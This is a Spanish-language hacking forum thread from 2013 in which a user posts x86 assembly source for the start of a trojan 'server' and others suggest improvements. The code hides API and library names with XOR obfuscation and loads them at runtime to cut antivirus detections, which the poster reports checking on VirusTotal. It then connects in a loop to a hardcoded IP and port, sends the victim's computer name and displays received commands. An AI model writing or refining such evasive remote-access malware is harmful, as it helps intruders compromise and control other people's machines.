Título: Principio de Troyano ASM Publicado por: Vaagish en 15 Mayo 2013, 02:44 am Buenas amigos del foro!! Hoy ando regalon...
Como el foro casi siempre me supo responder mis preguntas, hoy voy a colaborar yo... voy a aclarar que soy nuevo en asm, y quizas el codigo no es el mejor, pero lo voy a compartir, asi que no sean crueles jajaja Bueno, en un principio no queria exponerlo, pero como me decidi a hacer diferente mi aplicacion de "administracion remota" lo voy a poner aca... Lo probe con virustotal y asi como esta tiene 4 detecciones: VBA32 Malware-Cryptor.Win32.Allblock Norman Crypt.AWHI F-Prot W32/Threat-HLLSI-based!Maximus Commtouch W32/Threat-HLLSI-based!Maximus Aclaro que, a lo mejor ven alguna rutina que han visto en Internet, eso se debe a que he investigado muchísimo, (no se olviden que soy nuevo, y bueno.. así se aprende... ) y no he encontrado otra forma mejor de implementarlas, por eso son iguales,, las iba a cambiar, pero como voy a empezar otro troyano, este lo dejo como esta.. Sin mas que decir: Código: .386 .model flat, stdcall option casemap:none include Servidor.inc bufSize = MAX_COMPUTERNAME_LENGTH + 1 ;Tamaño maximo del nombre del pc .data Ip db "127.0.0.1",0 ;Direccion remota Port dd 8888 ;Puerto remoto Ver dd 2.2 ;Version de WinSck wsa WSADATA <> ;Estructura WSAData sa sockaddr_in <> ;Estructura de sockaddr_in Titulo db "Titulo de pruebas", 0 Saludo db "CONNECT|%s0", 0 ;Saludo de conexion ;************************************************************ ; Librerias Ws2 db "Pt5X45)ckk", 0 ;Ws2 U32 db "Rtbu45)ckk", 0 ;User32 Kn32 db "Lbuibk45)ckk", 0 ;Kernel ; Socket FunW db "PTFTsfusrw", 0 ;WSAStart FunZ db "PTFDkbfirw", 0 ;WSAClean FunS db "thdlbs", 0 ;socket FunI db "nibsXfccu", 0 ;inet_addr FunH db "oshit", 0 ;htons FunC db "dhiibds", 0 ;connect FunV db "ubdq", 0 ;recv FunO db "dkhtbthdlbs", 0 ;closesocket FunN db "tbic", 0 ;send ; Funciones del programa FunM db "Jbttf`bEhF", 0 ;MessageBoxA FunE db "BnsWuhdbtt", 0 ;ExitProcess ; Datos del Pc FunG db "@bsDhjwrsbuIfjbF", 0 ;GetComputerNameA FunP db "ptwunisaF", 0 ;wsprintfA ; Carga dinamica de Apis FunL db "KhfcKneufu~F", 0 ;LoadLibraryA FunT db "@bsWuhdFccubtt", 0 ;GetProcAddress ;************************************************************ ;******** CP NAME *********** buffer db 100 dup(?) ;Buffer para guardar el nombre del pc bSize dd bufSize ;Tamaño para el nombre del pc getName db bufSize dup(?) ;Necesario para GetComputerNameA ;**************************** .data? Sock dd ? ;Socket Buffer db 512 dup(?) ;Buffer para recv Hand dd ? ;Handle de funcion dinamica LoadL dd ? ;Handle de LoadLibraryA GetP dd ? ;Handle de GetProcAddress .const WM_SOCK equ WM_USER + 100 SOCK_STRAM equ 1 .code Inicio: jmp Mentira Inicio2: invoke Llamar, addr Ws2, addr FunW ;WSAStart push offset [wsa] push offset [Ver] call Hand .IF eax!=NULL invoke Llamar, addr Kn32, addr FunE push 0 call Hand .ENDIF invoke Llamar, addr Ws2, addr FunS ;socket push 0 push SOCK_STRAM push AF_INET call Hand .IF eax==INVALID_SOCKET invoke Llamar, addr Kn32, addr FunE push 0 call Hand .ENDIF mov Sock, eax mov sa.sin_family, AF_INET invoke Llamar, addr Ws2, addr FunI ;inet_addr push offset [Ip] call Hand mov sa.sin_addr, eax invoke Llamar, addr Ws2, addr FunH ;htons push Port call Hand mov sa.sin_port, ax Conn: invoke Llamar, addr Ws2, addr FunC ;connect push sizeof sa push offset [sa] push Sock call Hand cmp eax, 0 jne Conn ;********************************************** ; GetComputerName ;********************************************** invoke Llamar, addr Kn32, addr FunG ;GetComputerNameA push offset [bSize] push offset [getName] call Hand invoke Llamar, addr U32, addr FunP ;wsprintfA push offset [getName] push offset [Saludo] push offset [buffer] call Hand invoke Llamar, addr Ws2, addr FunN ;send push 0 push sizeof buffer push offset [buffer] push Sock call Hand ;********************************************** Recv: invoke Llamar, addr Ws2, addr FunV ;recv push 0 push sizeof Buffer push offset [Buffer] push Sock call Hand cmp eax, -1 je Recon invoke Llamar, addr U32, addr FunM ;MessageBoxA push MB_OK push offset [Titulo] push offset [Buffer] push 0 call Hand jmp Recv Recon: invoke Llamar, addr Ws2, addr FunO ;closesocket push Sock call Hand invoke Llamar, addr Ws2, addr FunZ ;WSAClean call Hand jmp Inicio2 Clse: invoke Llamar, addr Ws2, addr FunO ;closesocket push Sock call Hand invoke Llamar, addr Ws2, addr FunZ ;WSAClean call Hand invoke Llamar, addr Kn32, addr FunE ;ExitProcess push 0 call Hand Dinamic proc Libreria:DWORD, Funcion:DWORD push Libreria call LoadLibrary push Funcion push eax call GetProcAddress ret Dinamic endp Llamar proc Lib:DWORD, Fun:DWORD push [Lib] call LoadL push [Fun] push eax call GetP mov Hand, eax ret Llamar endp Decript proc Funcion:DWORD xor ecx,ecx mov eax, [Funcion] bucle: cmp byte ptr ds: [eax + ecx], 0 je salir xor byte ptr ds:[eax + ecx], 7 inc ecx jmp bucle salir: ret Decript endp Mentira: invoke Decript, addr U32 ;User32 - invoke Decript, addr Kn32 ;Kernel32 - APIS invoke Decript, addr Ws2 ;WinSock - invoke Decript, addr FunL ;LoadLibraryA - DINAMICAS invoke Decript, addr FunT ;GetProcaddress - invoke Decript, addr FunW ;WsaStartup - invoke Decript, addr FunZ ;WsaClean - invoke Decript, addr FunS ;socket - invoke Decript, addr FunI ;inet_addr - invoke Decript, addr FunH ;htoons - SOCKET invoke Decript, addr FunC ;connect - invoke Decript, addr FunN ;send - invoke Decript, addr FunV ;recv - invoke Decript, addr FunO ;closesocket - invoke Decript, addr FunM ;MessageboxA - invoke Decript, addr FunE ;ExitProcess - GENERALES invoke Decript, addr FunP ;wsprintfA - invoke Decript, addr FunG ;********************************************* ; Obtengo Direccion de Getproc y LoadLib ;********************************************* push offset [FunL] push offset [Kn32] call Dinamic mov LoadL, eax push offset [FunT] push offset [Kn32] call Dinamic mov GetP, eax ;********************************************* jmp Inicio2 end Inicio Bueno, ahi esta... Si alguien quiere colaborar con ideas, opiniones y demais, yo muy agradecido.. Saludos! Título: Re: Principio de Troyano ASM Publicado por: xv0 en 16 Mayo 2013, 14:58 pm Hola
Estas en ASM te podrias ahorrar las funciones inet_addr y htons investiga un poco. Un saludo y felicidades. Título: Re: Principio de Troyano ASM Publicado por: 0xDani en 16 Mayo 2013, 15:51 pm Hola Estas en ASM te podrias ahorrar las funciones inet_addr y htons investiga un poco. Un saludo y felicidades. En cuanto a htons sólo se me ocurre que se podría hacer un bswap. Cómo se podría ahorrar el uso de estas dos funciones? Título: Re: Principio de Troyano ASM Publicado por: xv0 en 16 Mayo 2013, 16:16 pm Pues cargando los bytes directamente en la pila.
Código
Así no tienes que utilizar esas funciones. Un saludo. P.D: Cualquier duda pregunta. Título: Re: Principio de Troyano ASM Publicado por: Vaagish en 16 Mayo 2013, 19:33 pm Hola colegas! No se me habia ocurrido ese tipo de ventaja,, es muy buena...
Gracias por comentar! Saludos! Título: Re: Principio de Troyano ASM Publicado por: 0xDani en 16 Mayo 2013, 20:30 pm Pues cargando los bytes directamente en la pila. Código
Así no tienes que utilizar esas funciones. Un saludo. P.D: Cualquier duda pregunta. Y qué valores cargas en la pila? En el caso de htons, el número del puerto con el endianess ajustado al de la red, pero y en el de inet_addr? Título: Re: Principio de Troyano ASM Publicado por: xv0 en 16 Mayo 2013, 20:52 pm El de inet_addr es el primer push.
Creo que también podria utilizar INADDR_LOOPBACK que esta definida en la cabezera in.h, pero creo que eso es más para sistema Posix. Un saludo. Título: Re: Principio de Troyano ASM Publicado por: Vaagish en 16 Mayo 2013, 21:57 pm Bueno, me estoy perdiendo un poco, tendré que averiguar que es el Posix...
Yo calcule abrir el olly, ver que ponía la función inet_addr y copy-pase... despues de todo, la direccion ip va a ser siempre la mia, como una constante.. asi que deberia ser siempre lo mismo... no ? msdn: The inet_addr function converts a string containing an IPv4 dotted-decimal address into a proper address for the IN_ADDR structure. Luego de averiguar con el olly el resultado de la funcion, le pongo el valor directo dentro de sa.sin_addr y gol! :D Título: Re: Principio de Troyano ASM Publicado por: 0xDani en 16 Mayo 2013, 22:09 pm El de inet_addr es el primer push. Creo que también podria utilizar INADDR_LOOPBACK que esta definida en la cabezera in.h, pero creo que eso es más para sistema Posix. Un saludo. Ok, ya lo comprendo, gracias! Título: Re: Principio de Troyano ASM Publicado por: Vaagish en 28 Mayo 2013, 07:26 am Buenas señores! Primero que nada, perdon por volver a escribir en este post, pero no daba para empezar otro hilo.. ( me parece )
Estoy teniendo problemas para hacer el push de htoons y inet.. Código: INET equ 0100007fh HTOONS equ 0b8220200h Y luego Código: ThreadProc PROC invoke WSAStartup, addr Ver, addr wsa invoke socket, AF_INET, SOCK_STREAM, 0 mov sock, eax invoke WSAAsyncSelect, sock, hwnd, WM_SOCK, FD_CONNECT or FD_CLOSE or FD_READ mov sa.sin_family, AF_INET ;invoke inet_addr, addr szIp ;mov sa.sin_addr, eax ;Pusheo el valor de Inet mov sa.sin_addr, INET push INET ;invoke htons, port ;mov sa.sin_port, ax ;Pusheo el valor de Htoons mov ax, HTOONS push HTOONS invoke connect, sock, addr sa, sizeof sa ret ThreadProc ENDP El problema es que cuando lo ejecuto funciona, pero me empieza a abrir este proceso: vsjitdebugger.exe infinitas veces, hasta que supongo yo, colapse la memoria :-\ Que puede estar pasando ? tendira que sacar de la pila despues que pusheo ? Gracias por leer !! Título: Re: Principio de Troyano ASM Publicado por: xv0 en 29 Mayo 2013, 02:17 am Código: INET equ 0100007fh HTOONS equ 0b8220200h Para que declaras eso? si vas a cargar directamente los valores en la pila. El de htons esta mal, solo es 0xb822, 0x2 es el valor de AF_INET y el 0x00 es el valor que pones al miembro sin_len de la estructura sockaddr_in, que no existe por lo que veo en windows me confundí pensaba que era como unix-like, linux etc... MSDN: Código: struct sockaddr_in{ short sin_family; <- 0x2 1byte unsigned short sin_port; <- 0xb822 2 bytes struct in_addr sin_addr; <- 0x0100007f 4 bytes char sin_zero[8]; no es necesario. }; Código
Sería en mi caso, muevo la dirección de la estructura sockaddr_in al 2 arg, tú la tendrías que copiar a addr, por lo que veo en esos invoke, o "pushear" y luego hacer un call que es lo que hace ese invoke si no me equivoco. Haciendo eso creo que podrías tener problemas con el ret, incrementa el stack luego de copiar la estructura a addr por el valor sustraído, ya sabes cual es. Código
Eso no es lógico, creo que haces cosas que no entiendes. Un saludo. Título: Re: Principio de Troyano ASM Publicado por: Vaagish en 29 Mayo 2013, 05:00 am Gracias cpu2! Ahora lo intentare !!
las constantes las declare para no escibir una y otra vez los valores mientras probaba como hacer funcionar esto que explicas con tanta naturalidad jajaja por otro lado,, es verdad, aun no domino el arte de los registros y el stack...hay cosas que aun no se :-\ pero mi experiencia dice: "Hacer y entender" ( Aunque un libro tampoco estaria mal en asm ) jajajaja Igual, juro que he leido! ( Hace 2 meses siquiera pensaba en programar en asm... ) Saludos! |